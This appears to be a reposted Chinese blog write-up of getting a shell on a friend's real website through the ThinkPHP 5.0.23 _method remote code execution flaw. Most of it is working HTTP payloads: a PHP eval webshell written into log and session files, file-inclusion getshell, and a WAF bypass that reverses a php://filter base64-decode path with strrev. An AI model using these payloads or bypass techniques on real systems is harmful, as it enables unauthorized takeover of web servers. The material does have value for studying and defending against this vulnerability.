記一次有趣的thinkphp代碼執行


0x00 前言

朋友之前給了個站,拿了很久終於拿下,簡單記錄一下。

0x01 基礎信息

  • 漏洞點:tp 5 method 代碼執行,payload如下

    POST /?s=captcha
    
    _method=__construct&method=get&filter[]=assert&server[]=1&get[]=1
  • 無回顯,根據payload 成功判斷目標thinkphp 版本應為5.0.23

  • 有waf,waf攔截了以下內容

    php標記:
    <?php
    <?=
    <?
    
    php 函數:
    base64_decode
    file_get_contents
    convert_uuencode
    
    關鍵字:
    php://
  • linux

  • disable_function禁用了以下函數

    passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
  • php 7.1.7 (雖然assert 函數不在disable_function中,但已經無法用call_user_func回調調用)

0x02 突破

現在tp 5 method代碼執行開發出來的一些思路,不外乎如下兩種:

1,寫日志,包含日志 getshell 。payload如下:

寫shell進日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

通過日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();

2,寫session,包含session getshell。payload如下:

寫shell進session
POST /?s=captcha HTTP/1.1
Cookie: PHPSESSID=kking


_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

包含session getshell
POST /?s=captcha

_method=__construct&method=get&filter[]=think\__include_file&get[]=tmp\sess_kking&server[]=1

而這兩種方式在這里都不可用,因為waf對<?php等關鍵字進行了攔截,還有其他辦法嗎?

base64編碼與php://filter偽協議

倘若能夠對關鍵字進行變形或者編碼就好了,比如base64編碼:

假如我們的session 文件為/tmp/sess_kking,內容如下

PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 
<?php @eval($_GET['r']);;?>

因為最終的利用是通過inlcude方法進行包含,其實很容易想到可以利用php://filter/read=convert.base64-decode/resource=/tmp/sess_kking的方式進行解碼

最終執行類似如下:

include('php://filter/read=convert.base64-decode/resource=/tmp/sess_kking');

但是session里面是會有其他字符的

如何讓php://filter正確的解碼呢?
p神的談一談php://filter的妙用文章有談到如何巧妙用php://filterbase64編碼繞過死亡exit

那么這里也一樣,我們只要構造合適的字符,使得我們的webshell能夠正確被base64解碼即可。

本地測試

第一步,設置session

POST /?s=captcha

_method=__construct&filter[]=think\Session::set&method=get&get[]=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1 

(注意:這里的+號需要用urlencode編碼為%2b,不然會在寫入session的時候被urldecode為空格,導致編碼解碼失敗)。

疑問點1:為什么不用PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= (<?php @eval($_GET['r']);?>)而是PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ (<?php @eval($_GET['r']);;?>) 呢,

答:是因為直接使用前者無論怎么拼湊字符,都沒法正常解碼。

疑問點2:為什么payload前后會有兩個ab

答:是為了讓shell payload 的前后兩串字符串滿足base64解碼的長度,使其能正常解碼。

第二步,包含,成功執行代碼:

本地測試如此,但是在目標測試會發現執行不了,因為我們的payload使用了php://filter的協議包含了php://關鍵字

怎么讓才能讓其沒有關鍵字呢?

tp 5 method代碼執行的細節

讓我們仔細觀察代碼執行的Request.phpfilterValue方法是如何執行代碼的。

我們注意到filter其實是可以傳遞多個的,同時參數為參數引用。

那么其實我們就可以傳遞多個filter來對value進行多次傳遞處理。如先base64_decode后將解碼后的值傳遞給include進行包含。

但在線上這個waf是對base64_decode這個函數進行了過濾的,經過測試發現可以使用strrev反轉函數突破。考慮到waf的問題,我們使用的shell payload加多一層base64編碼。

同樣道理這里的payload為什么要多幾個分號就不需要再解釋了

回到我們的getshell步驟,在目標上執行

1,設置session

POST /?s=captcha
Cookie: PHPSESSID=kktest

_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1

(payload前后兩個ab同樣是為了base64解碼湊字符的原因)

2,文件包含

POST /?s=captcha&r=cGhwaW5mbygpOw==

_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php

最終成功繞過防火牆getshell

0x03 總結

總的來說挺有趣的,搞了很久,最終成功getshell也是非常的爽。(好在沒放棄:)
不妥之處,煩請指出~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM